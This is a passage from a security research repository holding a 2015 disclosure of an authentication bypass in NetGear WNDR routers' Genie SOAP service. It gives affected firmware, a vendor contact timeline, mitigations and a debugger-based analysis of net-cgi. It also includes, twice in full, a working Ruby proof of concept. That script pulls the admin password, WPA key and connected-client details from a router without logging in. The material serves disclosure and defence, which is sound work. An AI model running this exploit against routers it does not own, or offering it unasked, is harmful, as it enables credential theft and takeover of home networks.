unauthenticated access. 9 | 10 | ##### Tracking and identifiers: 11 | * CVE - Mitre contacted; none yet allocated. 12 | 13 | ##### Platforms / Firmware confirmed affected: 14 | * NetGear WNDR3700v4 - V1.0.0.4SH 15 | * NetGear WNDR3700v4 - V1.0.1.52 16 | * NetGear WNR2200 - V1.0.1.88 17 | * NetGear WNR2500 - V1.0.0.24 18 | * NetGear WNDR3700v2 - V1.0.1.14 (Tested by Paula Thomas) 19 | * NetGear WNDR3700v1 - V1.0.16.98 (Tested by Michał Bartoszkiewicz) 20 | * NetGear WNDR3700v1 - V1.0.7.98 (Tested by Michał Bartoszkiewicz) 21 | * NetGear WNDR4300 - V1.0.1.60 (Tested by Ronny Lindner) 22 | * NetGear R6300v2 - V1.0.3.8 (Tested by Robert Müller) 23 | * NetGear WNDR3300 - V1.0.45 (Tested by Robert Müller)* 24 | * NetGear WNDR3800 - V1.0.0.48 (Tested by an Anonymous contributor) 25 | * NetGear WNR1000v2 - V1.0.1.1 (Tested by Jimi Sebree) 26 | * NetGear WNR1000v2 - V1.1.2.58 (Tested by Chris Boulton) 27 | * NetGear WNR2200 - V1.0.1.76 (Tested by Marcin Praczko) 28 | * NetGear WNR2000v3 - v1.1.2.6 (Tested by Shelby Spencer) 29 | * NetGear WNR2000v3 - V1.1.2.10 (Tested by Roland Schiebel) 30 | * NetGear R7500 - V1.0.0.82 (Tested by Team Event Tech) 31 | 32 | ##### Additional platforms believed to be affected: 33 | * NetGear WNDRMAC 34 | * NetGear WPN824N 35 | * NetGear WNDR4700 36 | 37 | ##### Vendor involvement: 38 | * 2015-01-18 - Initial contact with NetGear regarding vulnerability. 39 | * 2015-01-18 - NetGear advised to email support with concerns. 40 | * 2015-01-18 - Email sent to NetGear (support). 41 | * 2015-01-19 - Email sent to Mitre. 42 | * 2015-01-20 - NetGear (support) advised that a ticket had been created. 43 | * 2015-01-21 - NetGear (support) requested product verification. 44 | * 2015-01-21 - Replied to NetGear with information requested. 45 | * 2015-01-23 - NetGear (support) requested clarification of model. 46 | * 2015-01-23 - Replied to NetGear with list of affected models. 47 | * 2015-01-27 - NetGear (support) replied with router security features. 48 | * 2015-01-27 - Replied to NetGear and reiterated vulnerability. 49 | * 2015-01-29 - Email sent to NetGear (OpenSource) regarding issue. 50 | * 2015-01-30 - Case auto-closure email received from NetGear (support). 51 | * 2015-02-01 - Reply from Mitre requesting additional information. 52 | * 2015-02-01 - Email to Mitre with additional information. 53 | * 2015-02-11 - Vulnerability published to Bugtraq and GitHub. 54 | 55 | ##### Mitigation: 56 | * Ensure remote / WAN management is disabled on the affected devices. 57 | * Only allow trusted devices access to the local network. 58 | 59 | ##### Notes: 60 | 1. Due to the location of this issue (net-cgi and uhttpd) this vulnerability may be present in other devices and firmware revisions not listed in this document. 61 | 62 | 2. These vulnerabilities can be leveraged "externally" over the internet, but require devices to have remote / WAN management enabled. 63 | 64 | 3. In the absence of a known security contact these issues were reported to NetGear support. The initial response from NetGear support was that despite these issues "the network should still stay secure" due to a number of built-in security features. Attempts to clarify the nature of this vulnerability with support were unsuccessful. This ticket has since been auto-closed while waiting for a follow up. A subsequent email sent to the NetGear 'OpenSource' contact has also gone unanswered. 65 | 66 | 4. If you have a NetGear device that is believed to be affected and can confirm whether the PoC works successfully, let me know and I will update this document accordingly with credit provided to you. 67 | 68 | 5. Robert Müller has found that some additional devices may be vulnerable via a service running on TCP port 5000 - beleived to be uPnP. If your device is not vulnerable on the web management port, please try passing the `--port 5000` parameter to the ruby PoC to see whether this additional service is vulnerable. 69 | 70 | ### Overview 71 | 72 | A number of WNDR series devices contain an embedded SOAP service for use with the NetGear Genie application. This service allows for viewing and setting of certain router parameters, such as: 73 | 74 | * WLAN credentials and SSIDs. 75 | * Connected clients. 76 | * Guest WLAN credentials and SSIDs. 77 | * Parental control settings. 78 | 79 | At first glance, this service appears to be filtered and authenticated; HTTP requests with a `SOAPAction` header set but without a session identifier will yield a HTTP 401 error. However, a HTTP POST with as little as a blank form and a `SOAPAction` header is sufficient to execute certain requests and query information from the device. 80 | 81 | As this SOAP service is called via the built-in HTTP / CGI daemon, unauthenticated queries will be answered from the WAN if remote management has been enabled on the device. As a result, affected devices can be interrogated and hijacked with as little as a well placed HTTP query. 82 | 83 | The included proof of concept queries this service in order to extract the admin password, device serial number, WLAN details, and various information regarding clients currently connected to the device. 84 | 85 | ### Analysis :: uHTTPd 86 | 87 | In the case of the WNDR3700v4 - as other devices may utilize a different arrangement - the under-laying system is built on-top of OpenWRT. As part of this, the OpenWRT uhttpd service is being used to serve up the management interface on this device. This said, NetGear specific functionality is implemented via an ELF binary called through the uhttpd CGI provider. 88 | 89 | Although there are a few NetGear patches inside of the uhttpd codebase, the vulnerability exists inside the custom CGI provider and not the OpenWRT uhttpd service. 90 | 91 | If we review an abridged version of the uhttpd code - taken from the NetGear WNDR3700v4 GPL package - we can see that when the application is loaded, `uh_config_parse` is called (line 735) and a loop to handle client connections is started (line 818). 92 | 93 | ![uhttpd-main](images/uhttpd-main.png?raw=true) 94 | 95 | When a HTTP request comes in `uh_path_lookup` is called to evaluate the requested URL (line 921). If the request path is found to be invalid by this lookup the rest of the block is bypassed and a 404 returned to the client (line 952). 96 | 97 | Further to this, due to the routing at line 931, all we need to do is request a resource that exists and doesn't have `.gif`, `.jpg`, or `.css` somewhere in the filename and `ug_cgi_request` will be called. 98 | 99 | Interestingly enough, `uh_auth_check` (line 924) is doing absolutely nothing here; we could replace this call with an `if(true)` and achieve the same functionality. This is not the fault of the uhttpd service but rather the lack of realm configuration on the device. If we rewind a bit to `uh_config_parse` we can see why. 100 | 101 | ![uhttpd-config-parse](images/uhttpd-config-parse.png?raw=true) 102 | 103 | The `uh_auth_add` function, which populates the realm array, is called per line of realm configuration from either the configuration file specified as a command argument or a default of `/etc/httpd.conf`. 104 | 105 | However, if we inspect the `uhttpd.sh` init script on the device we can see that no configuration file path is specified at daemon start. If we also check for the presence of the default file - being `/etc/httpd.conf` - we find it to be missing. 106 | 107 | This ends in a realm blank array. As a result of this, all documents bypass uhttpd build-in authentication - due to the `uh_auth_check` returning `true` by default. 108 | 109 | ![uhttpd-sh](images/uhttpd-sh.png?raw=true) 110 | 111 | Based on this information, and the location of the authentication data in SOAP envelopes from "Genie" client, we can ascertain that authentication is being handled by the `net-cgi` process directly. 112 | 113 | ### Analysis :: Net-CGI 114 | 115 | As found above, the `net-cgi` process seems to be called for almost all documents, and is in charge of both authentication and processing of CGI requests. The `net-cgi` process itself is an ELF binary that is called through the uhttpd CGI wrapper; specifically by an `execl()` (line 429) inside of the `uh_cgi_request` function: 116 | 117 | ![uhttpd-cgi](images/uhttpd-cgi.png?raw=true) 118 | 119 | All pertinent HTTP headers - and a few others that are hidden in this excerpt - are passed through environment variables to `net-cgi`. Included in these headers are the two that we are interested in: `SOAPAction` (line 420) and `Authorization` (line 396). 120 | 121 | As we're now hitting a binary that we do not have sources for we will need to start debugging the process directly. In order to do this, we will be using `gdb`, `binutils` and `radare2`. Lucky for us however, the GPL package from NetGear includes a pre-compiled `net-cgi` with debugging symbols. 122 | 123 | To start, we need to work out where we are in the world. In order to do so, let's look for somewhere that we can attach a breakpoint to and then trace backwards from. 124 | 125 | ![net-cgi-readelf](images/net-cgi-readelf.png?raw=true) 126 | 127 | There are a few interesting looking results here, so let's get started with those most likely related to the execution of SOAP requests, namely `ExecuteSoapAction` and `SendSoapResponse`. We'll start by attaching a breakpoint to `ExecuteSoapAction` (`0x00429f88`) and submit a known-working SOAP call to the device (`GetInfo` from the `LANConfigSecurity` namespace). 128 | 129 | ![net-cgi-gdb-bp1](images/net-cgi-gdb-bp1.png?raw=true) 130 | 131 | ...that's exactly what we want to see; we're hitting our installed breakpoint as expected. If we inspect a trace leading up to the breakpoint we can see that `ExecuteSoapAction` is called via `handle_http_request`, so it looks like we're on the right track. 132 | 133 | Let's attach breakpoints to all of the addresses we found related to authentication and give the same request another shot. 134 | 135 | ![net-cgi-gdb-bp2](images/net-cgi-gdb-bp2.png?raw=true) 136 | 137 | As we're hitting the same breakpoint as above, it looks like authentication is handled either inside of `ExecuteSoapAction` or afterwards. Let's remove the `ExecuteSoapAction` breakpoint and try again. 138 | 139 | ![net-cgi-gdb-bp3](images/net-cgi-gdb-bp3.png?raw=true) 140 | 141 | Err, righto, we didn't hit any breakpoints... Let's try a different SOAP action instead. This time we'll try with `Authenticate` from inside the `ParentalControl` namespace - which is used as part of initial authentication envelope sent by the "Genie" application. 142 | 143 | ![net-cgi-gdb-bp4](images/net-cgi-gdb-bp4.png?raw=true) 144 | 145 | Finally, there's the breakpoint we were expecting to see. The real question is why we're not hitting this break-point unless we submit a SOAP action inside of the `ParentalControl` namespace. 146 | 147 | First though, let's work out where we are and how we got there. 148 | 149 | If we look at the trace, and the contents of the `ra` register, we can see that `soap_auth` is being called from `ExecuteSoapAction` at `0x0042a184`. If we compare this with previous traces, and the contents of the `ra` registers at each step, we find that we're kicked to `ExecuteSoapAction` (`0x00429f88`) by `0x00407b5c` inside of `handle_http_request`. As this is exactly the same behaviour we've seen with other SOAP actions - except for the final kick to `soap_auth` - we're likely being routed through the application in a consistent manner up until this point. 150 | 151 | Now that we know how we're getting from `handle_http_request` to `soap_auth`, the question is why we only hit `soap_auth` during a SOAP call that lives inside the `ParentalControl` namespace. 152 | 153 | Once we've traced through and commented as much of `ExecuteSoapAction` as we can, it becomes quite clear what's causing this. 154 | 155 | ![ExecuteSoapAction-SOAPActions](images/ExecuteSoapAction-SOAPActions.png?raw=true) 156 | 157 | At `0x00429fe4` the program seems to load the address of a `SOAPActions` array into argument register `a0`. At `0x00429fec` it then performs a 'safety check' to ensure that the array it just loaded is non-zero. 158 | 159 | Assuming the array was loaded, we're then branched to a `jalr` at `0x0042a00c` which jumps to the address of `strcmp()` - via `libc`. This `strcmp()` is testing whether the first element of the `SOAPActions` array we just loaded matches the SOAP namespace specified in the `SOAPAction` header from the client. 160 | 161 | As per the comment above `0x0042a014`, if this test fails - as the strings aren't a match - then we are branched back up to `0x00429ffc` where the address is incremented to the next element inside of `SOAPActions`. A quick test is performed at `0x0042a004` to ensure the new address is valid, and the whole process is performed again. 162 | 163 | Interestingly, even after this lookup has been completed, a separate `strcmp()` is performed at `0x0042a02c` to check whether the client specified SOAP namespace is `ParentalControl`. This seems to be where the `soap_auth` is referenced, and why authentication is only required for `ParentalControl` calls. 164 | 165 | The process described above can be very roughly expressed as something like following pseudo-code: 166 | 167 | ``` 168 | SOAPActions = Array("DeviceConfig", ... "ParentalControl") 169 | 170 | function ExecuteSoapAction(SOAPNamespace, SOAPCall, ContentLength) { 171 | 172 | if length of ContentLength is zero { 173 | call SendSoapRespCode(401) 174 | } 175 | if length of SOAPNamespace is zero { 176 | call SendSoapRespCode(401) 177 | } 178 | if length of SOAPCall is zero { 179 | call SendSoapRespCode(401) 180 | } 181 | 182 | SOAPActionFound = false 183 | for each entry in SOAPActions as SOAPAction { 184 | if SOAPAction == SOAPNamespace { 185 | SOAPActionFound = true 186 | break 187 | } 188 | } 189 | 190 | if SOAPNamespace == "ParentalControl" { 191 | SOAPActionFound = true 192 | call soap_auth() 193 | } 194 | 195 | if not SOAPActionFound { 196 | call SendSoapRespCode(401) 197 | } 198 | 199 | ... 200 | } 201 | ``` 202 | 203 | Now that we know why `soap_auth` is only called for `ParentalControl`, the final question is why we receive a SOAP 401 message when we attempt to call a valid SOAP action with a blank request. 204 | 205 | ...Long story short, `0x00429fdc` is responsible for this. 206 | 207 | ![ExecuteSoapAction-ContentLength](images/ExecuteSoapAction-ContentLength.png?raw=true) 208 | 209 | The `beqz` operation at `0x00429fdc` is being used to ensure that the content-length HTTP header is greater than zero. If the content-length is zero then a branch is made to `0x0042a0d4` which in-turn branches again to `0x0042a110`. At `0x0042a110` the address for `SendSoapRespCode` is pushed into `t9`, a static '401' pushed into `a1`, the registers stored at the top of `ExecuteSoapAction` are pushed back into save registers from the stack, and `SendSoapRespCode` is called. 210 | 211 | ![ExeucuteSoapAction-401](images/ExecuteSoapAction-401.png?raw=true) 212 | 213 | The client receives their response, `net-cgi` exits and everyone is happy. 214 | 215 | I am unsure whether this value is verified to be non-zero as part of some sort of 'authentication' of legitimate requests, or due to this value being used in a stream reader later in the thread? Perhaps just to cut down on processing overhead for blank requests; in which case a HTTP 400 may have been more appropriate. 216 | 217 | Either way, I shouldn't be able to just ask for the keys to the kingdom and have them given to me. 218 | 219 | ![PoC-Run](images/PoC-Run.png?raw=true) 220 | 221 | FIN. 222 | -------------------------------------------------------------------------------- /Vulnerabilities/NetGear/SOAPWNDR/SOAPWNDR.rb: -------------------------------------------------------------------------------- 1 | # SOAPWNDR PoC. 2 | 3 | require 'optparse' 4 | require 'nokogiri' 5 | require 'restclient' 6 | 7 | # Set defaults and parse command line arguments 8 | options = {} 9 | 10 | options[:addr] = "192.168.1.1" 11 | options[:port] = 80 12 | options[:ssl] = false 13 | 14 | OptionParser.new do |option| 15 | 16 | option.on("--address [ADDRESS]", "Destination hostname or IP") do |a| 17 | options[:addr] = a 18 | end 19 | 20 | option.on("--port [PORT]", "Destination TCP port") do |p| 21 | options[:port] = p 22 | end 23 | 24 | option.on("--[no-]ssl", "Destination uses SSL") do |s| 25 | options[:ssl] = s 26 | end 27 | 28 | option.parse! 29 | 30 | end 31 | 32 | # Define which SOAPActions we will be using. 33 | actions = [ 34 | { 35 | :name => "Fetch password", 36 | :call => "lan_config_security_get_info", 37 | :soap => "LANConfigSecurity:1#GetInfo" 38 | }, 39 | { 40 | :name => "Fetch WLAN", 41 | :call => "wlan_config_get_info", 42 | :soap => "WLANConfiguration:1#GetInfo" 43 | }, 44 | { 45 | :name => "Fetch WPA Security Keys", 46 | :call => "wlan_config_get_wpa_keys", 47 | :soap => "WLANConfiguration:1#GetWPASecurityKeys" 48 | }, 49 | { 50 | :name => "Fetch hardware", 51 | :call => "device_info_get_info", 52 | :soap => "DeviceInfo:1#GetInfo" 53 | }, 54 | { 55 | :name => "Fetch hardware", 56 | :call => "device_info_get_attached", 57 | :soap => "DeviceInfo:1#GetAttachDevice" 58 | } 59 | #{ 60 | # :name => "Dump configuration", 61 | # :call => "device_config_get_config_info", 62 | # :soap => "DeviceConfig:1#GetConfigInfo" 63 | #} 64 | ] 65 | 66 | def device_info_get_info(xml) 67 | puts "[*] Model Number: #{xml.xpath('//ModelName').text}" 68 | puts "[*] Serial Number: #{xml.xpath('//SerialNumber').text}" 69 | puts "[*] Firmware Version: #{xml.xpath('//Firmwareversion').text}" 70 | end 71 | 72 | def lan_config_security_get_info(xml) 73 | puts "[*] Admin Password: #{xml.xpath("//NewPassword").text}" 74 | end 75 | 76 | def wlan_config_get_info(xml) 77 | puts "[*] WLAN SSID: #{xml.xpath('//NewSSID').text}" 78 | puts "[*] WLAN Enc: #{xml.xpath('//NewBasicEncryptionModes').text}" 79 | end 80 | 81 | def wlan_config_get_wpa_keys(xml) 82 | puts "[*] WLAN WPA Key: #{xml.xpath('//NewWPAPassphrase').text} " 83 | end 84 | 85 | def device_config_get_config_info(xml) 86 | puts "[*] Base64 Config: #{xml.xpath('//NewConfigFile').text} " 87 | end 88 | 89 | def device_info_get_attached(xml) 90 | 91 | # Data is '@' delimited. 92 | devices = xml.xpath('//NewAttachDevice').text.split("@") 93 | devices.each_index do |i| 94 | 95 | # First element is a device count. 96 | if i == 0 97 | next 98 | end 99 | 100 | # Split by ';' which pulls out the device IP, name and MAC. 101 | detail = devices[i].split(";") 102 | puts "[*] Attached: #{detail[2]} - #{detail[1]} (#{detail[3]})" 103 | 104 | end 105 | 106 | end 107 | 108 | # Form endpoint based on protocol, no path is required. 109 | if options[:ssl] 110 | endpoint = "https://#{options[:addr]}:#{options[:port]}/" 111 | else 112 | endpoint = "http://#{options[:addr]}:#{options[:port]}/" 113 | end 114 | 115 | # Iterate over all actions and attempt to execute. 116 | puts "[!] Attempting to extract information from #{endpoint}" 117 | 118 | actions.each do |action| 119 | 120 | # Build the target URL and setup the HTTP client object. 121 | request = RestClient::Resource.new( 122 | endpoint, 123 | :verify_ssl => OpenSSL::SSL::VERIFY_NONE) 124 | 125 | # Fire the request and ensure a 200 OKAY. 126 | begin 127 | response = request.post( 128 | { "" => "" }, 129 | { "SOAPAction" => "urn:NETGEAR-ROUTER:service:#{action[:soap]}"}) 130 | rescue 131 | puts "[!] Failed to query remote host." 132 | abort 133 | end 134 | 135 | if response.code != 200 136 | puts "[-] '#{action[:name]}' failed with response: #{response.code}" 137 | next 138 | end 139 | 140 | # Parse XML document. 141 | xml = Nokogiri::XML(response.body()) 142 | 143 | if xml.xpath('//ResponseCode').text == '401' 144 | puts "[-] '#{action[:name]}' failed with a SOAP error (401)" 145 | next 146 | end 147 | 148 | # Send to the processor. 149 | send(action[:call], xml) 150 | 151 | end 152 | -------------------------------------------------------------------------------- /Vulnerabilities/NetGear/SOAPWNDR/SOAPWNDR.txt: -------------------------------------------------------------------------------- 1 | >> NetGear WNDR Authentication Bypass / Information Disclosure 2 | 3 | Discovered by: 4 | ---- 5 | Peter Adkins 6 | 7 | Access: 8 | ---- 9 | Local network; unauthenticated access. 10 | Remote network; unauthenticated access*. 11 | 12 | Tracking and identifiers: 13 | ---- 14 | CVE - Mitre contacted; not yet allocated. 15 | 16 | Platforms / Firmware confirmed affected: 17 | ---- 18 | NetGear WNDR3700v4 - V1.0.0.4SH 19 | NetGear WNDR3700v4 - V1.0.1.52 20 | NetGear WNR2200 - V1.0.1.88 21 | NetGear WNR2500 - V1.0.0.24 22 | NetGear WNDR3700v2 - V1.0.1.14 (Tested by Paula Thomas) 23 | NetGear WNDR3700v1 - V1.0.16.98 (Tested by Michał Bartoszkiewicz) 24 | NetGear WNDR3700v1 - V1.0.7.98 (Tested by Michał Bartoszkiewicz) 25 | NetGear WNDR4300 - V1.0.1.60 (Tested by Ronny Lindner) 26 | NetGear R6300v2 - V1.0.3.8 (Tested by Robert Müller) 27 | NetGear WNDR3300 - V1.0.45 (Tested by Robert Müller)* 28 | NetGear WNDR3800 - V1.0.0.48 (Tested by an Anonymous contributor) 29 | NetGear WNR1000v2 - V1.0.1.1 (Tested by Jimi Sebree) 30 | NetGear WNR1000v2 - V1.1.2.58 (Tested by Chris Boulton) 31 | NetGear WNR2200 - V1.0.1.76 (Tested by Marcin Praczko) 32 | NetGear WNR2000v3 - v1.1.2.6 (Tested by Shelby Spencer) 33 | NetGear WNR2000v3 - V1.1.2.10 (Tested by Roland Schiebel) 34 | NetGear R7500 - V1.0.0.82 (Tested by Team Event Tech) 35 | 36 | Additional platforms believed to be affected: 37 | ---- 38 | NetGear WNDRMAC 39 | NetGear WPN824N 40 | NetGear WNDR4700 41 | 42 | Vendor involvement: 43 | ---- 44 | 2015-01-18 - Initial contact with NetGear regarding vulnerability. 45 | 2015-01-18 - NetGear advised to email support with concerns. 46 | 2015-01-18 - Email sent to NetGear (support). 47 | 2015-01-19 - Email sent to Mitre. 48 | 2015-01-20 - NetGear (support) advised that a ticket had been created. 49 | 2015-01-21 - NetGear (support) requested product verification. 50 | 2015-01-21 - Replied to NetGear with information requested. 51 | 2015-01-23 - NetGear (support) requested clarification of model. 52 | 2015-01-23 - Replied to NetGear with list of affected models. 53 | 2015-01-27 - NetGear (support) replied with router security features. 54 | 2015-01-27 - Replied to NetGear and reiterated vulnerability. 55 | 2015-01-29 - Email sent to NetGear (OpenSource) regarding issue. 56 | 2015-01-30 - Case auto-closure email received from NetGear (support). 57 | 2015-02-01 - Reply from Mitre requesting additional information. 58 | 2015-02-01 - Email to Mitre with additional information. 59 | 2015-02-11 - Vulnerability published to Bugtraq and GitHub. 60 | 61 | Mitigation: 62 | ---- 63 | * Ensure remote / WAN management is disabled on the affected devices. 64 | * Only allow trusted devices access to the local network. 65 | 66 | Notes: 67 | ---- 68 | * These vulnerabilities can be leveraged "externally" over the internet, 69 | but require devices to have remote / WAN management enabled. 70 | 71 | * Due to the location of this issue (net-cgi) this vulnerability may be 72 | present in other devices and firmware revisions not listed in this 73 | document. 74 | 75 | * In the absence of a known security contact these issues were reported 76 | to NetGear support. The initial response from NetGear support was that 77 | despite these issues "the network should still stay secure" due to a 78 | number of built-in security features. Attempts to clarify the nature of 79 | this vulnerability with support were unsuccessful. This ticket has since 80 | been auto-closed while waiting for a follow up. A subsequent email sent 81 | to the NetGear 'OpenSource' contact has also gone unanswered. 82 | 83 | * If you have a NetGear device that is believed to be affected and can 84 | confirm whether the PoC works successfully, please let me know and I 85 | will update the copy of this document on GitHub (see below) and provide 86 | credit for your findings. 87 | 88 | * Robert Müller has found that some additional devices may be vulnerable 89 | via a service running on TCP port 5000 - beleived to be uPnP. If your 90 | device is not vulnerable on the web management port, please try passing 91 | the `--port 5000` parameter to the script as an additional test. 92 | 93 | ---- 94 | "Genie" SOAP Service 95 | ---- 96 | 97 | A number of NetGear WNDR devices contain an embedded SOAP service that 98 | is seemingly for use with the NetGear Genie application. This service 99 | allows for viewing and setting of certain router parameters, such as: 100 | 101 | * WLAN credentials and SSIDs. 102 | * Connected clients. 103 | * Guest WLAN credentials and SSIDs. 104 | * Parental control settings. 105 | 106 | At first glance, this service appears to be filtered and authenticated; 107 | HTTP requests with a `SOAPAction` header set but without a session 108 | identifier will yield a HTTP 401 error. However, a HTTP request with a 109 | blank form and a `SOAPAction` header is sufficient to execute certain 110 | requests and query information from the device. 111 | 112 | As this SOAP service is implemented by the built-in HTTP / CGI daemon, 113 | unauthenticated queries will also be answered over the internet if 114 | remote management has been enabled on the device. As a result, affected 115 | devices can be interrogated and hijacked with as little as a well placed 116 | HTTP query. 117 | 118 | The attached proof of concept uses this service in order to extract the 119 | administrator password, device serial number, WLAN details, and various 120 | details regarding clients currently connected to the device. 121 | 122 | A copy of this document, as well as the proof of concept below and a 123 | more detailed write-up has been made available via GitHub: 124 | 125 | * https://github.com/darkarnium/secpub/tree/master/NetGear/SOAPWNDR 126 | 127 | ---- 128 | Ruby PoC 129 | ---- 130 | 131 | require 'optparse' 132 | require 'nokogiri' 133 | require 'restclient' 134 | 135 | # Set defaults and parse command line arguments 136 | options = {} 137 | 138 | options[:addr] = "192.168.1.1" 139 | options[:port] = 80 140 | options[:ssl] = false 141 | 142 | OptionParser.new do |option| 143 | 144 | option.on("--address [ADDRESS]", "Destination hostname or IP") do |a| 145 | options[:addr] = a 146 | end 147 | 148 | option.on("--port [PORT]", "Destination TCP port") do |p| 149 | options[:port] = p 150 | end 151 | 152 | option.on("--[no-]ssl", "Destination uses SSL") do |s| 153 | options[:ssl] = s 154 | end 155 | 156 | option.parse! 157 | 158 | end 159 | 160 | # Define which SOAPActions we will be using. 161 | actions = [ 162 | { 163 | :name => "Fetch password", 164 | :call => "lan_config_security_get_info", 165 | :soap => "LANConfigSecurity:1#GetInfo" 166 | }, 167 | { 168 | :name => "Fetch WLAN", 169 | :call => "wlan_config_get_info", 170 | :soap => "WLANConfiguration:1#GetInfo" 171 | }, 172 | { 173 | :name => "Fetch WPA Security Keys", 174 | :call => "wlan_config_get_wpa_keys", 175 | :soap => "WLANConfiguration:1#GetWPASecurityKeys" 176 | }, 177 | { 178 | :name => "Fetch hardware", 179 | :call => "device_info_get_info", 180 | :soap => "DeviceInfo:1#GetInfo" 181 | }, 182 | { 183 | :name => "Fetch hardware", 184 | :call => "device_info_get_attached", 185 | :soap => "DeviceInfo:1#GetAttachDevice" 186 | } 187 | #{ 188 | # :name => "Dump configuration", 189 | # :call => "device_config_get_config_info", 190 | # :soap => "DeviceConfig:1#GetConfigInfo" 191 | #} 192 | ] 193 | 194 | def device_info_get_info(xml) 195 | puts "[*] Model Number: #{xml.xpath('//ModelName').text}" 196 | puts "[*] Serial Number: #{xml.xpath('//SerialNumber').text}" 197 | puts "[*] Firmware Version: #{xml.xpath('//Firmwareversion').text}" 198 | end 199 | 200 | def lan_config_security_get_info(xml) 201 | puts "[*] Admin Password: #{xml.xpath("//NewPassword").text}" 202 | end 203 | 204 | def wlan_config_get_info(xml) 205 | puts "[*] WLAN SSID: #{xml.xpath('//NewSSID').text}" 206 | puts "[*] WLAN Enc: #{xml.xpath('//NewBasicEncryptionModes').text}" 207 | end 208 | 209 | def wlan_config_get_wpa_keys(xml) 210 | puts "[*] WLAN WPA Key: #{xml.xpath('//NewWPAPassphrase').text} " 211 | end 212 | 213 | def device_config_get_config_info(xml) 214 | puts "[*] Base64 Config: #{xml.xpath('//NewConfigFile').text} " 215 | end 216 | 217 | def device_info_get_attached(xml) 218 | 219 | # Data is '@' delimited. 220 | devices = xml.xpath('//NewAttachDevice').text.split("@") 221 | devices.each_index do |i| 222 | 223 | # First element is a device count. 224 | if i == 0 225 | next 226 | end 227 | 228 | # Split by ';' which pulls out the device IP, name and MAC. 229 | detail = devices[i].split(";") 230 | puts "[*] Attached: #{detail[2]} - #{detail[1]} (#{detail[3]})" 231 | 232 | end 233 | 234 | end 235 | 236 | # Form endpoint based on protocol, no path is required. 237 | if options[:ssl] 238 | endpoint = "https://#{options[:addr]}:#{options[:port]}/" 239 | else 240 | endpoint = "http://#{options[:addr]}:#{options[:port]}/" 241 | end 242 | 243 | # Iterate over all actions and attempt to execute. 244 | puts "[!] Attempting to extract information from #{endpoint}" 245 | 246 | actions.each do |action| 247 | 248 | # Build the target URL and setup the HTTP client object. 249 | request = RestClient::Resource.new( 250 | endpoint, 251 | :verify_ssl => OpenSSL::SSL::VERIFY_NONE) 252 | 253 | # Fire the request and ensure a 200 OKAY. 254 | begin 255 | response = request.post( 256 | { "" => "" }, 257 | { "SOAPAction" => "urn:NETGEAR-ROUTER:service:#{action[:soap]}"}) 258 | rescue 259 | puts "[!] Failed to query remote host." 260 | abort 261 | end 262 | 263 | if response.code != 200 264 | puts "[-] '#{action[:name]}' failed with response: #{response.code}" 265 | next 266 | end 267 | 268 | # Parse XML document. 269 | xml = Nokogiri::XML(response.body()) 270 | 271 | if xml.xpath('//ResponseCode').text == '401' 272 | puts "[-] '#{action[:name]}' failed with a SOAP error (401)" 273 | next 274 | end 275 | 276 | # Send to the processor. 277 | send(action[:call], xml) 278 | 279 | end 280 | 281 | # FIN. 282 | -------------------------------------------------------------------------------- /Vulnerabilities/NetGear/SOAPWNDR/images/ExecuteSoapAction-401.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/darkarnium/secpub/9b5401b652b9dd435a763359cf197f6aa0ac7c6a/Vulnerabilities/NetGear/SOAPWNDR/images/ExecuteSoapAction-401.png -------------------------------------------------------------------------------- /Vulnerabilities/NetGear/SOAPWNDR/images/ExecuteSoapAction-ContentLength.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/darkarnium/secpub/9b5401b652b9dd435a763359cf197f6aa0ac7c6a/Vulnerabilities/NetGear/SOAPWNDR/images/ExecuteSoapAction-ContentLength.png -------------------------------------------------------------------------------- /Vulnerabilities/NetGear/SOAPWNDR/images/ExecuteSoapAction-SOAPActions.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/darkarnium/secpub/9b5401b652b9dd435a763359cf197f6aa0ac7c6a/Vulnerabilities/NetGear/SOAPWNDR/images/ExecuteSoapAction-SOAPActions.png -------------------------------------------------------------------------------- /Vulnerabilities/NetGear/SOAPWNDR/images/PoC-Run.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/darkarnium/secpub/9b5401b652b9dd435a763359cf197f6aa0ac7c6a/Vulnerabilities/NetGear/SOAPWNDR/images/PoC-Run.png -------------------------------------------------------------------------------- /Vulnerabilities/NetGear/SOAPWNDR/images/SendSoapRespCode-Top.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/darkarnium/secpub/9b5401b652b9dd435a763359cf197f6aa0ac7c6a/Vulnerabilities/NetGear/SOAPWNDR/images/SendSoapRespCode-Top.png -------------------------------------------------------------------------------- /Vulnerabilities/NetGear/SOAPWNDR/images/net-cgi-gdb-bp1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/darkarnium/secpub/9b5401b652b9dd435a763359cf197f6aa0ac7c6a/Vulnerabilities/NetGear/SOAPWNDR/images/net-cgi-gdb-bp1.png -------------------------------------------------------------------------------- /Vulnerabilities/NetGear/SOAPWNDR/images/net-cgi-gdb-bp2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/darkarnium/secpub/9b5401b652b9dd435a763359cf197f6aa0ac7c6a/Vulnerabilities/NetGear/SOAPWNDR/images/net-cgi-gdb-bp2.png -------------------------------------------------------------------------------- /Vulnerabilities/NetGear/SOAPWNDR/images/net-cgi-gdb-bp3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/darkarnium/secpub/9b5401b652b9dd435a763359cf197f6aa0ac7c6a/Vulnerabilities/NetGear/SOAPWNDR/images/net-cgi-gdb-bp3.png -------------------------------------------------------------------------------- /Vulnerabilities/NetGear/SOAPWNDR/images/net-cgi-gdb-bp4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/darkarnium/secpub/9b5401b652b9dd435a763359cf197f6aa0ac7c6a/Vulnerabilities/NetGear/SOAPWNDR/images/net-cgi-gdb-bp4.png -------------------------------------------------------------------------------- /Vulnerabilities/NetGear/SOAPWNDR/images/net-cgi-readelf.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/darkarnium/secpub/9b5401b652b9dd435a763359cf197f6aa0ac7c6a/Vulnerabilities/NetGear/SOAPWNDR/images/net-cgi-readelf.png -------------------------------------------------------------------------------- /Vulnerabilities/NetGear/SOAPWNDR/images/uhttpd-auth-add.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/darkarnium/secpub/9b5401b652b9dd435a763359cf197f6aa0ac7c6a/Vulnerabilities/NetGear/SOAPWNDR/images/uhttpd-auth-add.png -------------------------------------------------------------------------------- 